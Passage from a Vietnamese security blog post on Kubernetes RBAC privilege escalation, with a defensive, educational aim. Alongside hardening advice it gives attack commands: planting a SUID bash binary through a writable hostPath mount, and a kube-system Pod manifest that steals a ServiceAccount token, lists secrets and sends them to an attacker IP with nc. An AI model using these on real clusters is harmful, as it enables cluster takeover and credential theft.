  <li><strong>bind</strong>: Tạo các liên kết quyền mới để cấp quyền cho tài khoản khác.</li>
</ul>

<ol>
  <li>Remote Code Execution (Thực thi mã từ xa)</li>
</ol>

<p>Nhóm này cho phép kẻ tấn công chạy lệnh trái phép bên trong các container:</p>

<ul>
  <li><strong>create pods/exec</strong>: Chạy lệnh trực tiếp vào một Pod đang hoạt động.</li>
  <li><strong>create nodes/proxy</strong>: Kết nối trực tiếp đến các Node thông qua proxy để can thiệp sâu hơn.</li>
  <li><strong>control mutating webhooks</strong>: Thay đổi cấu hình của các đối tượng ngay khi chúng vừa được tạo ra.</li>
</ul>

<ol>
  <li>Acquire Tokens (Chiếm đoạt Token)</li>
</ol>

<p>Nhóm này tập trung vào việc lấy các thông tin đăng nhập bí mật:</p>

<ul>
  <li><strong>list secrets</strong>: Đọc toàn bộ mật khẩu, API key lưu trong cluster.</li>
  <li><strong>create serviceaccounts/token</strong>: Tự tạo token mới cho các tài khoản dịch vụ để duy trì quyền truy cập bền bỉ.</li>
</ul>

<ol>
  <li>Steal Pods (Đánh cắp hoặc can thiệp Pod)</li>
</ol>

<p>Nhóm này nhắm vào việc điều hướng hoặc phá hủy các ứng dụng đang chạy:</p>

<ul>
  <li><strong>modify nodes</strong>: Thay đổi cấu hình máy chủ để ép Pod chạy trên các nút bị kiểm soát.</li>
  <li><strong>delete pods/nodes</strong>: Gây gián đoạn dịch vụ bằng cách xóa các thành phần quan trọng.</li>
</ul>

<p>Trong bài viết <strong>Kubernetes RBAC: Paths for Privilege Escalation</strong> của Schutzwerk, tác giả chỉ ra một điểm rất quan trọng: RBAC đúng là lớp authorization để ngăn truy cập trái phép, nhưng một số quyền RBAC nếu cấp sai có thể biến chính cơ chế phân quyền này thành đường leo thang đặc quyền. Nói cách khác, vấn đề không nằm ở RBAC bị lỗi, mà nằm ở việc một identity như User, Group hoặc ServiceAccount được cấp những quyền quá mạnh so với nhu cầu thật sự.</p>

<p>Bài viết gom các đường leo thang đặc quyền trong RBAC vào một số nhóm quyền nguy hiểm chính:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">create pods</code></li>
  <li><code class="language-plaintext highlighter-rouge">get/list secrets</code></li>
  <li><code class="language-plaintext highlighter-rouge">bind</code></li>
  <li><code class="language-plaintext highlighter-rouge">escalate</code></li>
  <li><code class="language-plaintext highlighter-rouge">impersonate</code></li>
</ul>

<p>Các quyền này nhìn riêng lẻ có thể có vẻ hợp lý trong vận hành, nhưng khi attacker chiếm được một identity có các quyền đó, chúng có thể trở thành attack path để đi từ quyền thấp lên quyền cao hơn.</p>

<h4 id="1-create-pods-tạo-pod-để-chiếm-token-hoặc-chạm-tới-node">1. <code class="language-plaintext highlighter-rouge">create pods</code>: tạo Pod để chiếm token hoặc chạm tới Node</h4>

<p>Quyền <code class="language-plaintext highlighter-rouge">create pods</code> nghe có vẻ bình thường vì Pod là đơn vị workload cơ bản trong Kubernetes. Tuy nhiên, RBAC chỉ kiểm tra identity đó có được phép tạo Pod hay không, chứ bản thân RBAC không kiểm tra Pod đó có cấu hình an toàn hay không. Nếu cluster thiếu Admission Controller hoặc policy chặn cấu hình nguy hiểm, attacker có thể tạo Pod với image, volume, <code class="language-plaintext highlighter-rouge">serviceAccountName</code>, securityContext hoặc host mount có lợi cho việc leo thang.</p>

<p>Có hai hướng nguy hiểm phổ biến:</p>

<ul>
  <li>Tạo Pod dùng một ServiceAccount mạnh hơn trong cùng namespace, sau đó đọc token được mount trong <code class="language-plaintext highlighter-rouge">/var/run/secrets/kubernetes.io/serviceaccount/</code>.</li>
  <li>Tạo Pod có cấu hình quá mạnh như <code class="language-plaintext highlighter-rouge">privileged</code>, <code class="language-plaintext highlighter-rouge">hostPath</code>, <code class="language-plaintext highlighter-rouge">hostPID</code>, <code class="language-plaintext highlighter-rouge">hostNetwork</code>, từ đó tìm cách truy cập node hoặc đọc dữ liệu nhạy cảm trên host.</li>
</ul>

<p>Điểm cần nhớ là <code class="language-plaintext highlighter-rouge">create pods</code> không chỉ là quyền deploy app. Trong một cluster cấu hình lỏng, nó có thể trở thành quyền để attacker tự tạo môi trường tấn công bên trong cluster.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141008.png" alt="" /></p>

<h4 id="2-getlist-secrets-đọc-secret-để-chiếm-credential">2. <code class="language-plaintext highlighter-rouge">get/list secrets</code>: đọc Secret để chiếm credential</h4>

<p>Secret trong Kubernetes thường chứa thông tin nhạy cảm như password database, API key, TLS key, kubeconfig hoặc token của ServiceAccount. Vì vậy, identity có quyền đọc Secret trong một namespace có thể lấy credential của workload khác rồi hành động với quyền của credential đó.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141112.png" alt="" /></p>

<p>Cần phân biệt <code class="language-plaintext highlighter-rouge">get</code> và <code class="language-plaintext highlighter-rouge">list</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">list secrets</code> cho phép liệt kê toàn bộ Secret trong phạm vi được cấp quyền, rất nguy hiểm vì attacker có thể thấy nhiều object cùng lúc.</li>
  <li><code class="language-plaintext highlighter-rouge">get secrets</code> yêu cầu biết tên Secret cụ thể, nhưng vẫn nguy hiểm nếu attacker đoán được tên Secret hoặc lấy được tên từ manifest, log, config, GitOps repo hay output enum khác.</li>
</ul>

<p>Trong các phiên bản Kubernetes cũ, token của ServiceAccount từng được tạo thành Secret với pattern dễ nhận biết. Vì vậy, nếu có quyền đọc Secret, attacker có thể chiếm token của ServiceAccount rồi gọi Kubernetes API với quyền của ServiceAccount đó. Với các cluster mới, cơ chế token đã thay đổi an toàn hơn, nhưng Secret vẫn là nơi cực kỳ nhạy cảm và không nên cấp quyền đọc rộng.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141018.png" alt="" /></p>

<h4 id="3-impersonate-giả-danh-identity-khác">3. <code class="language-plaintext highlighter-rouge">impersonate</code>: giả danh identity khác</h4>

<p><code class="language-plaintext highlighter-rouge">impersonate</code> cho phép một identity gửi request tới API server dưới danh nghĩa user, group hoặc ServiceAccount khác. Cơ chế này hữu ích cho admin khi cần kiểm tra quyền, ví dụ test xem một ServiceAccount có thể làm gì. Nhưng nếu cấp sai, attacker có thể giả danh identity có quyền cao hơn.</p>

<p>Ví dụ về mặt khái niệm:</p>

<ul>
  <li>Impersonate user admin để thực hiện hành động mà user hiện tại không có quyền.</li>
  <li>Impersonate group có quyền mạnh, ví dụ group được bind tới ClusterRole quan trọng.</li>
  <li>Impersonate ServiceAccount trong namespace nhạy cảm như monitoring, CI/CD hoặc kube-system.</li>
</ul>

<p>Vì vậy, <code class="language-plaintext highlighter-rouge">impersonate</code> nên được xem là quyền cực kỳ nhạy cảm. Khi audit RBAC, cần kiểm tra không chỉ impersonate user, mà cả impersonate group và serviceaccounts.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141100.png" alt="" /></p>
<h4 id="4-bind-tự-gán-role-hoặc-clusterrole-mạnh-hơn">4. <code class="language-plaintext highlighter-rouge">bind</code>: tự gán Role hoặc ClusterRole mạnh hơn</h4>

<p>Thông thường, Kubernetes không cho một user tự bind một Role chứa quyền cao hơn quyền mà user đó đang có. Đây là cơ chế chống privilege escalation mặc định. Tuy nhiên, nếu identity có thêm quyền <code class="language-plaintext highlighter-rouge">bind</code>, nó có thể gán Role hoặc ClusterRole cho chính nó hoặc cho identity khác.</p>

<p>Có ba mức độ rủi ro:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">create rolebindings</code> + <code class="language-plaintext highlighter-rouge">bind roles</code>: có thể gán các Role trong namespace cho chính mình.</li>
  <li><code class="language-plaintext highlighter-rouge">create rolebindings</code> + <code class="language-plaintext highlighter-rouge">bind clusterroles</code>: có thể đem quyền từ ClusterRole áp vào một namespace cụ thể.</li>
  <li><code class="language-plaintext highlighter-rouge">create clusterrolebindings</code> + <code class="language-plaintext highlighter-rouge">bind clusterroles</code>: có thể gán quyền ở phạm vi toàn cluster, rủi ro cao nhất.</li>
</ul>

<p>Nếu attacker bind được ClusterRole như <code class="language-plaintext highlighter-rouge">cluster-admin</code> vào ServiceAccount mình kiểm soát, coi như attacker đã chiếm quyền quản trị cluster.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141144.png" alt="" /></p>
<h4 id="5-escalate-sửa-roleclusterrole-để-thêm-quyền-mình-chưa-có">5. <code class="language-plaintext highlighter-rouge">escalate</code>: sửa Role/ClusterRole để thêm quyền mình chưa có</h4>

<p>Kubernetes cũng có cơ chế chặn user tạo hoặc sửa Role chứa quyền mà bản thân user chưa sở hữu. Nhưng quyền <code class="language-plaintext highlighter-rouge">escalate</code> được thiết kế để bypass cơ chế này cho các trường hợp admin hợp lệ cần quản lý RBAC.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260526141202.png" alt="" /></p>

<p>Nếu attacker có quyền <code class="language-plaintext highlighter-rouge">create/update roles</code> hoặc <code class="language-plaintext highlighter-rouge">create/update clusterroles</code> cộng thêm <code class="language-plaintext highlighter-rouge">escalate</code>, attacker có thể sửa Role/ClusterRole đang được gán cho mình để thêm quyền mới, ví dụ thêm <code class="language-plaintext highlighter-rouge">get secrets</code>, <code class="language-plaintext highlighter-rouge">create pods</code>, <code class="language-plaintext highlighter-rouge">bind</code>, hoặc thậm chí quyền wildcard <code class="language-plaintext highlighter-rouge">*</code>.</p>

<p>Nói ngắn gọn:</p>

<p><code class="language-plaintext highlighter-rouge">bind</code> nguy hiểm vì cho phép gán quyền mạnh có sẵn.<br />
<code class="language-plaintext highlighter-rouge">escalate</code> nguy hiểm vì cho phép tạo hoặc sửa quyền mạnh hơn quyền hiện tại.</p>

<h4 id="tóm-tắt-attack-path">Tóm tắt attack path</h4>

<p>Một chuỗi RBAC privilege escalation thực tế thường có dạng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Compromise pod/app
-&gt; lấy ServiceAccount token
-&gt; kubectl auth can-i --list
-&gt; phát hiện quyền nguy hiểm
-&gt; đọc Secret / tạo Pod / impersonate / bind / escalate
-&gt; chiếm ServiceAccount hoặc Role mạnh hơn
-&gt; mở rộng quyền trong namespace hoặc toàn cluster
</code></pre></div></div>

<p>Điểm hay của bài Schutzwerk là nó không xem RBAC privilege escalation như một lỗi đơn lẻ, mà xem nó như một tập hợp các permission có thể nối lại thành attack path. Chỉ cần một ServiceAccount bị cấp thừa quyền và workload bị compromise, attacker có thể dùng chính Kubernetes API để leo thang thay vì cần khai thác CVE phức tạp.</p>

<h4 id="phòng-thủ-và-hardening">Phòng thủ và hardening</h4>

<p>Để giảm rủi ro RBAC privilege escalation, có thể áp dụng các hướng sau:</p>

<ul>
  <li>Áp dụng least privilege cho User, Group và ServiceAccount.</li>
  <li>Không cấp wildcard <code class="language-plaintext highlighter-rouge">*</code> cho <code class="language-plaintext highlighter-rouge">apiGroups</code>, <code class="language-plaintext highlighter-rouge">resources</code> hoặc <code class="language-plaintext highlighter-rouge">verbs</code> nếu không thật sự cần.</li>
  <li>Hạn chế nghiêm ngặt các quyền <code class="language-plaintext highlighter-rouge">bind</code>, <code class="language-plaintext highlighter-rouge">escalate</code>, <code class="language-plaintext highlighter-rouge">impersonate</code>.</li>
  <li>Không cấp <code class="language-plaintext highlighter-rouge">get/list secrets</code> rộng cho workload thông thường.</li>
  <li>Kiểm soát quyền <code class="language-plaintext highlighter-rouge">create pods</code>, vì quyền này có thể bị biến thành pod-to-node hoặc pod-to-token attack path.</li>
  <li>Tắt <code class="language-plaintext highlighter-rouge">automountServiceAccountToken</code> với Pod không cần gọi Kubernetes API.</li>
  <li>Dùng Admission Controller như Pod Security Admission, Kyverno hoặc OPA Gatekeeper để chặn Pod nguy hiểm.</li>
  <li>Audit định kỳ bằng các công cụ như <code class="language-plaintext highlighter-rouge">kubectl auth can-i --list</code>, KubiScan, rbac-tool hoặc kubeaudit.</li>
  <li>Theo dõi audit log cho các hành động nhạy cảm như tạo RoleBinding, ClusterRoleBinding, impersonate request, đọc Secret hoặc tạo Pod bất thường.</li>
</ul>

<p>Nguồn tham khảo: <a href="https://www.schutzwerk.com/blog/kubernetes-privilege-escalation-01/">Schutzwerk - Kubernetes RBAC: Paths for Privilege Escalation</a></p>

<p>Dưới đây là 1 bài tập mà mình tìm được về KillerConda để có thể demo cách config về RBAC</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260521211943.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260521212922.png" alt="" /></p>

<p>Câu 1 : Cái này thì bạn tạo ra các resource cùng với cái verb thực hiện resource đó trong 1 namepace là application</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260521213612.png" alt="" /></p>

<p>Câu 2 : Sau khi tạo role thì bạn rolebinding gắn các quyền vào các role đó
<img src="/assets/images/posts/Pasted%20image%2020260521214129.png" alt="" /></p>

<p>Câu 3 : Kiểm tra lại các quyền mà ta có thể làm
<img src="/assets/images/posts/Pasted%20image%2020260521215047.png" alt="" /></p>

<h2 id="iii--nghiên-cứu-các-kĩ-thuật-leo-thang-đặc-quyền-trong-k8s">III . Nghiên cứu các kĩ thuật leo thang đặc quyền trong K8s</h2>

<h3 id="1-attacking-kubernetes-from-inside-a-pod">1. Attacking Kubernetes from inside a Pod</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260522162103.png" alt="" /></p>

<p>Khi attacker chiếm được shell trong 1 Pod , container đó trở thành 1 chỗ đứng ở bên trong K8s cluster . Từ đây mục đích của các attacker là thoát khỏi Pod từ Node đó bằng cách kiểm tra quyền của Pod , tìm token , dò các service nội bộ , kiểm tra volume mount ,…</p>

<p>Pod escape : Là quá trình attacker thoát khỏi phạm vi container /Pod để truy cập vào các Node . Tất nhiên là không phải Pod nào cũng escape được , tùy thuộc cái cách Pod đó được config như Pod đó có Privileged mode không , hostPath mount , hostPID, hostNetwork , Linux capabilities hoặc container runtime bị expose,…</p>

<p>Đây là ví dụ điển hình của misconfiguration trong Kubernetes. Một cấu hình volume tưởng như phục vụ vận hành có thể trở thành đường dẫn để attacker đi từ container ra Node.</p>

<h3 id="a-abusing--writeable-hostpathbind-mounts-container---host-root-via-suid-planting">a) Abusing  writeable hostPath/bind mounts (Container -&gt; host root via SUID planting)</h3>

<p>Trước khi đi sau vào kĩ thuật tấn công thì giới thiệu sơ qua về khái niệm hostPath</p>

<p>Trong Kubernetes, hostPath volume là cơ chế cho phép bạn gắn (mount) trực tiếp một tập tin hoặc thư mục từ hệ thống tập tin (filesystem) của máy chủ (Worker Node) vào bên trong một Pod.</p>

<p>Đặc điểm cốt lõi</p>

<ul>
  <li><strong>Lưu trữ cục bộ:</strong> Dữ liệu được lưu thẳng trên ổ cứng của Node vật lý (hoặc máy ảo) đang chạy Pod.</li>
  <li><strong>Độ bền (Persistence):</strong> Dữ liệu không bị mất khi container trong Pod bị khởi động lại hoặc bị xóa.</li>
  <li><strong>Tính ràng buộc (Node-specific):</strong> Vì gắn với một Node cụ thể, nếu Pod bị tắt và được lên lịch (schedule) lại sang một Node khác, nó sẽ không thể truy cập được dữ liệu cũ trừ khi Node mới có cấu trúc thư mục y hệt</li>
</ul>

<p>Thông thường , <code class="language-plaintext highlighter-rouge">hostPath</code> thường được áp dụng cho các trường hợp đặc thù như:</p>

<ul>
  <li>Chạy các ứng dụng cần đọc hoặc ghi vào log hệ thống của Node.</li>
  <li>Cần truy cập các socket Docker daemon (ví dụ: <code class="language-plaintext highlighter-rouge">/var/run/docker.sock</code>) từ bên trong Pod.</li>
  <li>Thực hiện các tác vụ giám sát (monitoring) hoặc quản lý cluster yêu cầu quyền truy cập sâu vào filesystem của Node</li>
</ul>

<p>Nếu một Pod hoặc container bị compromise có 1 volume ghi được ánh xạ trực tiếp đến host filesystem (K8s hostPath hoặc là Docker bindmount ), và bạn có thể trở thành root bên trong container  , bạn có thể tận dụng mount đó để có thể tạo ra 1 setuid-root binary trên host và sau đó thực thi  nó từ máy chủ để lấy quyền root</p>

<p>Key conditions :</p>

<ul>
  <li>Volume mount từ host vào container có quyền ghi</li>
  <li>Filesystem host không bật cơ chế chặn kiểu <code class="language-plaintext highlighter-rouge">nosuid</code>.</li>
  <li>Attacker có cách khiến file được ghi trên host nếu file được thực thi</li>
</ul>

<p>Cách xác định hostPath/bind mounts có thể được ghi</p>

<ul>
  <li>With kubectl , thì bạn có check bằng lệnh sau
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod -o jsonpath='{.specvolumes[*].hostPath.path}'
</code></pre></div>    </div>
  </li>
  <li>Từ bên trong container , list mount và tìm kiếm host-path mounts</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Inside the compromised container
mount | column -t

cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true

findmnt -T / 2&gt;/dev/null | sed -n '1,200p'

# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] &amp;&amp; [ -w "$TEST_DIR" ] &amp;&amp; echo "writable: $TEST_DIR"

# Quick practical test
printf "ping\n" &gt; "$TEST_DIR/.w"

</code></pre></div></div>

<p>Plant a setuid root binary from the container:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID

MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory

cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"

# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash


</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

</code></pre></div></div>

<h3 id="lưu-ý-khi-khai-thác-writable-hostpath">Lưu ý khi khai thác writable hostPath</h3>

<p>Kỹ thuật writable hostPath không phải lúc nào cũng dẫn tới leo thang đặc quyền ngay lập tức. Một ví dụ phổ biến là attacker ghi một SUID binary vào thư mục được mount từ host. Về lý thuyết, nếu binary này thuộc sở hữu của root và có SUID bit, khi được thực thi trên host nó có thể chạy với effective UID là root.</p>

<table>
  <tbody>
    <tr>
      <td>Tuy nhiên, kỹ thuật này phụ thuộc vào mount option của filesystem. Nếu filesystem trên host được mount với option <code class="language-plaintext highlighter-rouge">nosuid</code>, Linux sẽ bỏ qua SUID/SGID bit. Khi đó, mặc dù file hiển thị có quyền SUID, nó cũng không thể được dùng để nâng quyền. Bạn có thể check mount option trên host bằng (cat /proc/mounts</td>
      <td>grep ) and  kiếm nosuid.</td>
    </tr>
  </tbody>
</table>

<p>Ngoài ra, attacker cần có cách để khiến file đã ghi được thực thi từ phía host. Nếu chỉ có quyền ghi từ container nhưng không có user shell, cron job, systemd service hoặc process nào trên host chạy file đó, thì việc “plant” SUID binary chỉ dừng lại ở việc đặt file lên host filesystem, chưa đủ để chiếm quyền.</p>

<p>Tuy nhiên, writable hostPath vẫn là một rủi ro nghiêm trọng nếu đường dẫn được mount là thư mục nhạy cảm. Ví dụ, nếu mount trỏ tới <code class="language-plaintext highlighter-rouge">/root/.ssh</code>, attacker có thể ghi thêm SSH key; nếu mount trỏ tới <code class="language-plaintext highlighter-rouge">/etc/cron.d</code>, attacker có thể tạo cron job; nếu mount trỏ tới <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code>, attacker có thể đặt service persistence. Vì vậy, mức độ nguy hiểm của writable hostPath phụ thuộc rất lớn vào host path cụ thể được mount vào Pod.</p>

<p>Kỹ thuật này cũng hoạt động với các bind mount thông thường của Docker; trong Kubernetes, nó thường là một volume hostPath (readOnly: false) hoặc một subPath có phạm vi không chính xác.</p>

<h3 id="b-abusing-rolesclusterroles-in-kubernetes">b) Abusing Roles/ClusterRoles in Kubernetes</h3>

<p>Như trong phần ServiceAccount mình có viết ở trên thì đa số các Pod chạy với service account token trong nó . Đôi khi SA này được cấu hình ko đúng nên chúng ta thường sẽ tận dụng tận dụng SA có 1 số đặc quyền này để có thể khai thác</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522174411.png" alt="" /></p>

<p>Privilege Escalation trong Kubernetes có thể hiểu là quá trình attacker tìm cách chuyển từ quyền hiện tại sang một identity khác có quyền cao hơn. Identity này có thể là user, group, ServiceAccount trong cluster, hoặc trong một số trường hợp là quyền cloud IAM bên ngoài nếu cluster chạy trên AWS, GCP hoặc Azure.</p>

<p>Khác với privilege escalation trên Linux truyền thống, trong Kubernetes attacker không chỉ cố gắng leo từ user thường lên root trong một máy. Mục tiêu có thể là chiếm được ServiceAccount mạnh hơn, đọc được Secret nhạy cảm, tạo Pod với cấu hình nguy hiểm, truy cập Node, hoặc lợi dụng quyền cloud gắn với workload hoặc node.</p>

<p>Trong Kubernetes, có bốn hướng leo thang đặc quyền phổ biến:</p>

<ol>
  <li>
    <p><strong>Impersonation</strong><br />
Attacker có quyền giả mạo user, group hoặc ServiceAccount khác. Nếu identity bị impersonate có quyền cao hơn, attacker có thể hành động với quyền của identity đó.</p>
  </li>
  <li>
    <p><strong>Create / Patch / Exec Pod</strong><br />
Attacker có quyền tạo, sửa hoặc exec vào Pod. Nếu có thể tạo Pod dùng ServiceAccount mạnh hơn, mount secret, hoặc chạy Pod với cấu hình privileged, attacker có thể mở rộng quyền trong cluster.</p>
  </li>
  <li>
    <p><strong>Read Secrets</strong><br />
Kubernetes Secret có thể chứa ServiceAccount token, password, kubeconfig hoặc credential ứng dụng. Nếu attacker có quyền <code class="language-plaintext highlighter-rouge">get</code> hoặc <code class="language-plaintext highlighter-rouge">list</code> Secret, họ có thể lấy credential để impersonate identity khác.</p>
  </li>
  <li>
    <p><strong>Escape từ container ra Node</strong><br />
Nếu Pod được cấu hình quá nguy hiểm, ví dụ privileged, hostPID, hostNetwork hoặc mount hostPath, attacker có thể thoát khỏi container để truy cập Node. Khi đã vào Node, attacker có thể tìm token của các Pod khác, kubelet credential hoặc cloud metadata credential.</p>
  </li>
</ol>

<p>Ngoài bốn hướng chính trên, một quyền đáng chú ý khác là <code class="language-plaintext highlighter-rouge">port-forward</code>. Nếu attacker có quyền port-forward tới Pod, họ có thể truy cập các service nội bộ vốn không được expose ra ngoài.</p>

<h3 id="wildcard-permission-quyền-quá-rộng-trong-rbac">Wildcard Permission: quyền quá rộng trong RBAC</h3>

<p>Trong RBAC, wildcard <code class="language-plaintext highlighter-rouge">*</code> là một cấu hình rất nguy hiểm nếu được cấp sai đối tượng. Wildcard có thể xuất hiện ở <code class="language-plaintext highlighter-rouge">apiGroups</code>, <code class="language-plaintext highlighter-rouge">resources</code> hoặc <code class="language-plaintext highlighter-rouge">verbs</code>.</p>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

</code></pre></div></div>

<p>Cấu hình này có nghĩa là identity được cấp quyền có thể thực hiện mọi hành động trên mọi loại tài nguyên thuộc mọi API group. Nếu quyền này nằm trong ClusterRole, phạm vi ảnh hưởng không chỉ giới hạn trong một namespace mà có thể áp dụng trên toàn cluster.</p>

<p>Đây thường là quyền dành cho admin hoặc controller hệ thống có nhu cầu đặc biệt. Nếu một ServiceAccount của workload thông thường được gán quyền wildcard, attacker chỉ cần compromise Pod sử dụng ServiceAccount đó là có thể có gần như toàn quyền thao tác với cluster.</p>

<p>Một biến thể khác là wildcard resource nhưng giới hạn verb:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
</code></pre></div></div>

<p>Nhìn qua có vẻ ít nguy hiểm hơn verbs: [“*”], nhưng vẫn tạo ra rủi ro lớn:</p>

<ul>
  <li>create: có thể tạo tài nguyên mới, bao gồm Pod hoặc RoleBinding nếu không bị giới hạn.</li>
  <li>list: có thể liệt kê tài nguyên trong cluster, làm lộ cấu trúc hệ thống.</li>
  <li>get: có thể đọc tài nguyên nhạy cảm, đặc biệt là Secret.</li>
</ul>

<p>Vì vậy, khi đánh giá RBAC, không chỉ cần tìm quyền *, mà còn cần xem quyền đó áp dụng lên resource nào và ở phạm vi namespace hay cluster.</p>

<h3 id="pod-create---steal-token">Pod Create - Steal Token</h3>

<p>Một quyền tưởng như bình thường nhưng rất nguy hiểm trong Kubernetes là <code class="language-plaintext highlighter-rouge">create pods</code>. Nếu attacker có quyền tạo Pod trong một namespace, họ có thể cố gắng tạo Pod mới sử dụng một ServiceAccount khác trong cùng namespace.</p>

<p>Nếu ServiceAccount đó có quyền cao hơn, token của nó sẽ được mount vào Pod mới. Khi attacker điều khiển container trong Pod này, họ có thể đọc token và dùng nó để gọi Kubernetes API với quyền của ServiceAccount mạnh hơn.</p>

<p>Ví dụ về một pod sẽ đánh cắp token của <code class="language-plaintext highlighter-rouge">bootstrap-signer</code>tài khoản dịch vụ và gửi nó cho kẻ tấn công:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
    - name: alpine
      image: alpine
      command: ["/bin/sh"]
      args:
        [
          "-c",
          'apk update &amp;&amp; apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
        ]
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

</code></pre></div></div>

<p>Nói đơn giản: nếu attacker có quyền <strong>tạo Pod trong namespace kube-system</strong>, attacker có thể tạo một Pod mới và bắt Pod đó chạy bằng ServiceAccount tên bootstrap-signer. Khi Pod chạy, Kubernetes sẽ tự mount token của ServiceAccount đó vào trong container. Sau đó command bên trong container đọc token này và dùng nó để gọi API Server.</p>

<p>Giải thích từng phần</p>

<p><code class="language-plaintext highlighter-rouge">metadata: name: alpine namespace: kube-system</code></p>

<p>Tạo Pod tên alpine trong namespace kube-system.</p>

<p>Namespace này nhạy cảm vì thường chứa các component hệ thống hoặc ServiceAccount quan trọng.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>image: alpine 
command: ["/bin/sh"]
</code></pre></div></div>

<p>Pod dùng image Alpine và chạy shell.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
</code></pre></div></div>

<p>Đây là phần quan trọng nhất.</p>

<p>Nó bảo Kubernetes chạy Pod này với ServiceAccount bootstrap-signer.</p>

<p>Khi automountServiceAccountToken: true, token của ServiceAccount đó sẽ được mount vào container tại:</p>

<p><code class="language-plaintext highlighter-rouge">/run/secrets/kubernetes.io/serviceaccount/token</code></p>

<p>Tức là bên trong container có thể đọc được token này.</p>

<p><code class="language-plaintext highlighter-rouge">cat /run/secrets/kubernetes.io/serviceaccount/token</code></p>

<p>Lệnh này đọc token của ServiceAccount bootstrap-signer.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -k -v \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets
</code></pre></div></div>

<p>Lệnh này dùng token vừa đọc để gọi Kubernetes API.</p>

<p>Cụ thể nó đang thử truy cập endpoint liệt kê Secret trong namespace kube-system.</p>

<p>Nếu ServiceAccount bootstrap-signer có quyền đọc Secret, API Server sẽ trả về dữ liệu Secret.</p>

<p><code class="language-plaintext highlighter-rouge">| nc -nv 192.168.154.228 6666</code></p>

<p>Phần này gửi output ra máy attacker ở IP 192.168.154.228, port 6666.</p>

<p>Nói cách khác:</p>

<p><code class="language-plaintext highlighter-rouge">Đọc token -&gt; dùng token gọi API -&gt; gửi kết quả về attacker</code></p>

<p><code class="language-plaintext highlighter-rouge">hostNetwork: true</code></p>

<p>Pod dùng network namespace của Node.</p>

<p>Điều này có thể giúp Pod truy cập network giống như Node, đôi khi bypass một số giới hạn network hoặc truy cập được endpoint mà Pod thường không truy cập được.</p>

<p>Điểm quan trọng ở đây là attacker không cần biết password hay private key của ServiceAccount. Kubernetes tự động mount token vào Pod nếu automountServiceAccountToken được bật.</p>

<h3 id="điều-kiện-cần-có">Điều kiện cần có</h3>

<ul>
  <li>Attacker có quyền create pods.</li>
  <li>Namespace tồn tại ServiceAccount có quyền cao hơn.</li>
  <li>Admission policy không chặn việc gắn ServiceAccount đó.</li>
  <li>Token được mount vào Pod.</li>
</ul>

<h3 id="phòng-thủ">Phòng thủ</h3>

<ul>
  <li>Không cấp quyền create pods quá rộng.</li>
  <li>Không để ServiceAccount mạnh nằm trong namespace có workload kém tin cậy.</li>
  <li>Tắt automountServiceAccountToken nếu Pod không cần gọi Kubernetes API.</li>
  <li>Dùng RBAC least privilege.</li>
  <li>Dùng admission controller như Kyverno, OPA Gatekeeper hoặc Pod Security Admission để kiểm soát ServiceAccount được phép sử dụng.</li>
</ul>

<h2 id="pod-create--escape">Pod Create &amp; Escape</h2>

<p>Nếu attacker có quyền tạo Pod và cluster không có chính sách Pod Security chặt chẽ, họ có thể tạo một Pod với cấu hình nguy hiểm để tiếp cận Node.</p>

